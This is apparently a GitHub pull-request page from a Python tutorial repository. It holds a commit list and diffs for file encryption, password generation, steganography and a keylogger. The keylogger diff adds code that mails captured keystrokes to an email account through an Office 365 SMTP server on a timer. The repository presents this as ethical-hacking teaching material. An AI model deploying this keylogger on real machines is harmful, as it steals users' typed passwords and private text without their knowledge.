Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
93 commits
Select commit Hold shift + click to select a range
be6e68b
add dhcp listener tutorial
x4nth055 Apr 5, 2022
16a7329
add handling imbalanced datasets tutorial
x4nth055 Apr 14, 2022
140c04d
add building crud app with flask tutorial
x4nth055 Apr 16, 2022
46347a8
update web programming topic link
x4nth055 Apr 16, 2022
783ad7f
add logistic regression using pytorch tutorial
x4nth055 Apr 18, 2022
ac0ff47
add named entity recognition tutorial
x4nth055 Apr 24, 2022
3105f40
fix issue on syn flood attack code
x4nth055 Apr 25, 2022
af7dff5
fix issue on yolov3 tutorial
x4nth055 Apr 26, 2022
ecbc855
add simple message indicating the keylogger has started
x4nth055 May 5, 2022
6886ef6
Update arp operation code
filipe1417 May 6, 2022
1cff228
add dropout tutorial in pytorch
x4nth055 May 7, 2022
4150ce8
add simple math quiz game tutorial
x4nth055 May 8, 2022
06f57a2
add kfold cross validation tutorial
x4nth055 May 13, 2022
16872c4
add making buttons in pygame tutorial
x4nth055 May 14, 2022
4ce02df
add network usage monitor tutorial
x4nth055 May 18, 2022
980cc85
fix error in folder size calculator where files do not exist in some …
x4nth055 May 18, 2022
94d3800
add long description to cse api tutorial
x4nth055 May 18, 2022
b4a8339
add gui programming folder
x4nth055 May 18, 2022
d37fc27
update button pygame tutorial code path
x4nth055 May 18, 2022
a29ed38
Merge pull request #94 from filipe1417/patch-1
x4nth055 May 18, 2022
c50100f
add dimensionality reduction feature extraction tutorial
x4nth055 May 19, 2022
3ce94bd
add text editor using tkinter tutorial
x4nth055 May 20, 2022
d815002
move button pygame tutorial to gui programming section
x4nth055 May 20, 2022
f928dc6
add text editor using tkinter tutorial 2
x4nth055 May 20, 2022
b31ad4d
add drawing tool with pygame tutorial
x4nth055 May 22, 2022
66e5716
remove unnecessary spaces
x4nth055 May 22, 2022
cf7be35
add gui programming topic link
x4nth055 May 22, 2022
ad2bd2a
add file explorer tutorial
x4nth055 May 28, 2022
d491399
add calculator app tutorial
x4nth055 May 31, 2022
0a1850a
update train bert from scratch tutorial
x4nth055 Jun 3, 2022
a3f1d4c
modify default imap server on reading emails tutorial
x4nth055 Jun 4, 2022
2c93f3b
Add the frontend of the Flask SQLAlchemy CRUD app
EzzEddin Jun 5, 2022
a86f6c4
remove unlikes from youtube api code
x4nth055 Jun 13, 2022
307e485
Merge pull request #103 from EzzEddin/frontend-crud-flask-sqlalchemy-app
x4nth055 Jun 16, 2022
7946729
update requirements file for fullstack crud app flask
x4nth055 Jun 17, 2022
ccd6b89
add docx text replacer tutorial
x4nth055 Jun 18, 2022
cae3ce0
add dimensionality reduction using feature selection tutorial
x4nth055 Jun 18, 2022
15f9e33
add dimensionality reduction using feature selection tutorial2
x4nth055 Jun 18, 2022
53690e7
add type speed tester tutorial
x4nth055 Jun 19, 2022
823f0aa
add planet simulator tutorial
x4nth055 Jun 20, 2022
c8928c2
update file encryption tutorial to add encryption with password
x4nth055 Jun 21, 2022
23bc7b9
update random data generation tutorial
x4nth055 Jun 21, 2022
4a88681
update keylogger tutorial
x4nth055 Jun 22, 2022
62b175c
update sending emails tutorial
x4nth055 Jun 22, 2022
abd5c62
update sending emails tutorial
x4nth055 Jun 22, 2022
e558570
add dict app tutorial with django
x4nth055 Jun 24, 2022
fa9bffb
remove pycache files from dict app
x4nth055 Jun 24, 2022
e509ed6
add more advanced features to steganography tutorial
x4nth055 Jun 28, 2022
bc73ba5
add more advanced features to steganography tutorial 2
x4nth055 Jun 28, 2022
c6be8b8
add more advanced features to steganography tutorial 3
x4nth055 Jun 28, 2022
5cdb58b
add password generator tutorial
x4nth055 Jul 1, 2022
06c7cef
change password generator to use secrets module for crypto-secured ge…
x4nth055 Jul 1, 2022
7683043
fix issue wrongly identifying internal urls as external urls in the l…
x4nth055 Jul 21, 2022
152f0aa
add explainable ai tutorial
x4nth055 Aug 4, 2022
8bf9fb9
add explainable ai tutorial to README
x4nth055 Aug 4, 2022
ef38646
add text adventure game tutorial
x4nth055 Aug 5, 2022
4d66adf
add zipf's word freq plot tutorial
x4nth055 Aug 7, 2022
f2a13df
add autoencoders for dimenstionality reduction & feature extraction t…
x4nth055 Aug 12, 2022
1d88bb1
add plotting weather temperature forecast using matplotlib tutorial
x4nth055 Aug 14, 2022
11c0be5
add markdown editor tkinter tutorial
x4nth055 Aug 16, 2022
3f189e2
Update requirements.txt
frenchita Aug 18, 2022
5594e7a
add crud app django tutorial
x4nth055 Aug 20, 2022
cefe1a2
add Pillow to requirements in the crud app django
x4nth055 Aug 20, 2022
6bc2e82
update gmail api tutorial
x4nth055 Aug 22, 2022
9f5cfc1
clear the screen on other platforms in text adventure game tutorial
x4nth055 Aug 22, 2022
6d67a16
add generate svg country maps tutorial
x4nth055 Aug 23, 2022
04c3a2c
add currency converter gui tutorial
x4nth055 Aug 24, 2022
e5493fa
add detecting gender by name gui app tutorial
x4nth055 Aug 29, 2022
96313dc
add spreadsheet app tkinter tutorial
x4nth055 Aug 29, 2022
1ad6e18
add django weather app tutorial
x4nth055 Aug 30, 2022
165ad07
revert raw data to be 1Kb in size in syn flooding attack code
x4nth055 Sep 4, 2022
a73567d
add query ethereum blockchain tutorial
x4nth055 Sep 4, 2022
de76901
fix issue on argparser in fake access point tutorial
x4nth055 Sep 5, 2022
b0ae13a
add data cleaning tutorial
x4nth055 Sep 18, 2022
9d28357
add rich text editor tutorial
x4nth055 Sep 19, 2022
54888a1
rename the script
x4nth055 Sep 19, 2022
94ee964
add python code editor tutorial
x4nth055 Sep 20, 2022
e840928
update pdf image extractor code to fit the new version of PyMuPDF
x4nth055 Sep 20, 2022
c1e3117
update paraphrasing code to fix an error
x4nth055 Sep 21, 2022
26cb9c4
update xss scanner to fix an error
x4nth055 Sep 22, 2022
252c6c1
add language detector tutorial
x4nth055 Sep 24, 2022
e6e60b8
add youtube video download tutorial
x4nth055 Sep 25, 2022
f7dbba5
add splitting text tutorial
x4nth055 Nov 2, 2022
c4508bc
add age calculator tutorial
x4nth055 Nov 3, 2022
a48eed1
add django authentication tutorial
x4nth055 Nov 5, 2022
91329c9
add youtube audio downloader tutorial
x4nth055 Nov 6, 2022
61b8530
extracting frames from video - fix a bug where some frames were not s…
x4nth055 Nov 7, 2022
79a1a88
add alarm clock app tutorial
x4nth055 Nov 10, 2022
1fdb785
Merge pull request #109 from frenchita/master
x4nth055 Nov 15, 2022
bc1619d
add blog & todo apps django tutorials to the README.md
x4nth055 Nov 15, 2022
5a6148b
Merge branch 'master' of https://github.com/x4nth055/pythoncode-tutor…
x4nth055 Nov 15, 2022
83548ad
add email verifier django app tutorial
x4nth055 Nov 16, 2022
efdbb34
add minify css tutorial
x4nth055 Nov 18, 2022
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
57 changes: 54 additions & 3 deletions README.md

Large diffs are not rendered by default.

124 changes: 124 additions & 0 deletions ethical-hacking/file-encryption/crypt_password.py
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt

import secrets
import base64
import getpass


def generate_salt(size=16):
"""Generate the salt used for key derivation,
`size` is the length of the salt to generate"""
return secrets.token_bytes(size)


def derive_key(salt, password):
"""Derive the key from the `password` using the passed `salt`"""
kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
return kdf.derive(password.encode())


def load_salt():
# load salt from salt.salt file
return open("salt.salt", "rb").read()


def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
"""
Generates a key from a `password` and the salt.
If `load_existing_salt` is True, it'll load the salt from a file
in the current directory called "salt.salt".
If `save_salt` is True, then it will generate a new salt
and save it to "salt.salt"
"""
if load_existing_salt:
# load existing salt
salt = load_salt()
elif save_salt:
# generate new salt and save it
salt = generate_salt(salt_size)
with open("salt.salt", "wb") as salt_file:
salt_file.write(salt)
# generate the key from the salt and the password
derived_key = derive_key(salt, password)
# encode it using Base 64 and return it
return base64.urlsafe_b64encode(derived_key)


def encrypt(filename, key):
"""
Given a filename (str) and key (bytes), it encrypts the file and write it
"""
f = Fernet(key)
with open(filename, "rb") as file:
# read all file data
file_data = file.read()
# encrypt data
encrypted_data = f.encrypt(file_data)
# write the encrypted file
with open(filename, "wb") as file:
file.write(encrypted_data)


def decrypt(filename, key):
"""
Given a filename (str) and key (bytes), it decrypts the file and write it
"""
f = Fernet(key)
with open(filename, "rb") as file:
# read the encrypted data
encrypted_data = file.read()
# decrypt data
try:
decrypted_data = f.decrypt(encrypted_data)
except cryptography.fernet.InvalidToken:
print("Invalid token, most likely the password is incorrect")
return
# write the original file
with open(filename, "wb") as file:
file.write(decrypted_data)
print("File decrypted successfully")


if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="File Encryptor Script with a Password")
parser.add_argument("file", help="File to encrypt/decrypt")
parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated",
type=int)
parser.add_argument("-e", "--encrypt", action="store_true",
help="Whether to encrypt the file, only -e or -d can be specified.")
parser.add_argument("-d", "--decrypt", action="store_true",
help="Whether to decrypt the file, only -e or -d can be specified.")

args = parser.parse_args()
file = args.file

if args.encrypt:
password = getpass.getpass("Enter the password for encryption: ")
elif args.decrypt:
password = getpass.getpass("Enter the password you used for encryption: ")

if args.salt_size:
key = generate_key(password, salt_size=args.salt_size, save_salt=True)
else:
key = generate_key(password, load_existing_salt=True)

encrypt_ = args.encrypt
decrypt_ = args.decrypt

if encrypt_ and decrypt_:
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
elif encrypt_:
encrypt(file, key)
elif decrypt_:
decrypt(file, key)
else:
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")






40 changes: 32 additions & 8 deletions ethical-hacking/keylogger/keylogger.py
Original file line numberDiff line numberDiff line change
Expand Up@@ -3,10 +3,12 @@
# Timer is to make a method runs after an `interval` amount of time
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "put_real_pw"
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "password_here"

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💬 2 similar findings have been found in this PR


hardcoded_password_string: Possible hardcoded password: 'password_here'


Expand here to view all instances of this finding
File PathLine Number
web-programming/bookshop-crud-app-django/bookstore/settings.py23
web-programming/djangodictionary/djangodictionary/settings.py23

Visit the Lift Web Console to find more details in your report.


Reply with "@sonatype-lift help" for info about LiftBot commands.
Reply with "@sonatype-lift ignore" to tell LiftBot to leave out the above finding from this PR.
Reply with "@sonatype-lift ignoreall" to tell LiftBot to leave out all the findings from this PR and from the status bar in Github.

When talking to LiftBot, you need to refresh the page to see its response. Click here to get to know more about LiftBot commands.


Was this a good recommendation?
[ 🙁 Not relevant ] - [ 😕 Won't fix ] - [ 😑 Not critical, will fix ] - [ 🙂 Critical, will fix ] - [ 😊 Critical, fixing now ]


class Keylogger:
def __init__(self, interval, report_method="email"):
Expand DownExpand Up@@ -59,17 +61,37 @@ def report_to_file(self):
print(self.log, file=f)
print(f"[+] Saved{self.filename}.txt")

def sendmail(self, email, password, message):
def prepare_mail(self, message):
"""Utility function to construct a MIMEMultipart from a text
It creates an HTML version as well as text version
to be sent as an email"""
msg = MIMEMultipart("alternative")
msg["From"] = EMAIL_ADDRESS
msg["To"] = EMAIL_ADDRESS
msg["Subject"] = "Keylogger logs"
# simple paragraph, feel free to edit
html = f"<p>{message}</p>"
text_part = MIMEText(message, "plain")
html_part = MIMEText(html, "html")
msg.attach(text_part)
msg.attach(html_part)
# after making the mail, convert back as string message
return msg.as_string()

def sendmail(self, email, password, message, verbose=1):
# manages a connection to an SMTP server
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# in our case it's for Microsoft365, Outlook, Hotmail, and live.com
server = smtplib.SMTP(host="smtp.office365.com", port=587)
# connect to the SMTP server as TLS mode ( for security )
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message
server.sendmail(email, email, message)
# send the actual message after preparation
server.sendmail(email, email, self.prepare_mail(message))
# terminates the session
server.quit()
if verbose:
print(f"{datetime.now()} - Sent an email to{email} containing:{message}")

def report(self):
"""
Expand All@@ -85,8 +107,8 @@ def report(self):
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you want to print in the console, uncomment below line
# print(f"[{self.filename}] -{self.log}")
# if you don't want to print in the console, comment below line
print(f"[{self.filename}] -{self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
Expand All@@ -102,6 +124,8 @@ def start(self):
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()

Expand Down
1 change: 1 addition & 0 deletions ethical-hacking/password-generator/README.md
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
# [How to Make a Password Generator in Python](https://www.thepythoncode.com/article/make-a-password-generator-in-python)
72 changes: 72 additions & 0 deletions ethical-hacking/password-generator/password_generator.py
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
from argparse import ArgumentParser
import secrets
import random
import string

# Setting up the Argument Parser
parser = ArgumentParser(
prog='Password Generator.',
description='Generate any number of passwords with this tool.'
)

# Adding the arguments to the parser
parser.add_argument("-n", "--numbers", default=0, help="Number of digits in the PW", type=int)
parser.add_argument("-l", "--lowercase", default=0, help="Number of lowercase chars in the PW", type=int)
parser.add_argument("-u", "--uppercase", default=0, help="Number of uppercase chars in the PW", type=int)
parser.add_argument("-s", "--special-chars", default=0, help="Number of special chars in the PW", type=int)

# add total pw length argument
parser.add_argument("-t", "--total-length", type=int,
help="The total password length. If passed, it will ignore -n, -l, -u and -s, " \
"and generate completely random passwords with the specified length")

# The amount is a number so we check it to be of type int.
parser.add_argument("-a", "--amount", default=1, type=int)
parser.add_argument("-o", "--output-file")

# Parsing the command line arguments.
args = parser.parse_args()

# list of passwords
passwords = []
# Looping through the amount of passwords.
for _ in range(args.amount):
if args.total_length:
# generate random password with the length
# of total_length based on all available characters
passwords.append("".join(
[secrets.choice(string.digits + string.ascii_letters + string.punctuation) \
for _ in range(args.total_length)]))
else:
password = []
# If / how many numbers the password should contain
for _ in range(args.numbers):
password.append(secrets.choice(string.digits))

# If / how many uppercase characters the password should contain
for _ in range(args.uppercase):
password.append(secrets.choice(string.ascii_uppercase))

# If / how many lowercase characters the password should contain
for _ in range(args.lowercase):
password.append(secrets.choice(string.ascii_lowercase))

# If / how many special characters the password should contain
for _ in range(args.special_chars):
password.append(secrets.choice(string.punctuation))

# Shuffle the list with all the possible letters, numbers and symbols.
random.shuffle(password)

# Get the letters of the string up to the length argument and then join them.
password = ''.join(password)

# append this password to the overall list of password.
passwords.append(password)

# Store the password to a .txt file.
if args.output_file:
with open(args.output_file, 'w') as f:
f.write('\n'.join(passwords))

print('\n'.join(passwords))
18 changes: 18 additions & 0 deletions ethical-hacking/steganography/README.md
Original file line numberDiff line numberDiff line change
Expand Up@@ -39,3 +39,21 @@ To run this:
[+] Decoding...
[+] Decoded data: This is some secret data.
```

- To encode the `foo.pdf` file into the `image.PNG` image, using `steganography_advanced.py` script:
```
$ python steganography_advanced.py -e image.PNG -f foo.pdf -b 1
```
**Output:**
```
[*] Maximum bytes to encode: 125028
[*] Data size: 84158
[*] Encoding data...
[+] Saved encoded image.
```
- Now decoding it into a file `foo_decoded.pdf`:
```
python steganography_advanced.py -d image_encoded.PNG -f foo_decoded.pdf -b 1
[+] Decoding...
[+] File decoded, foo_decoded.pdf is saved successfully.
```
Loading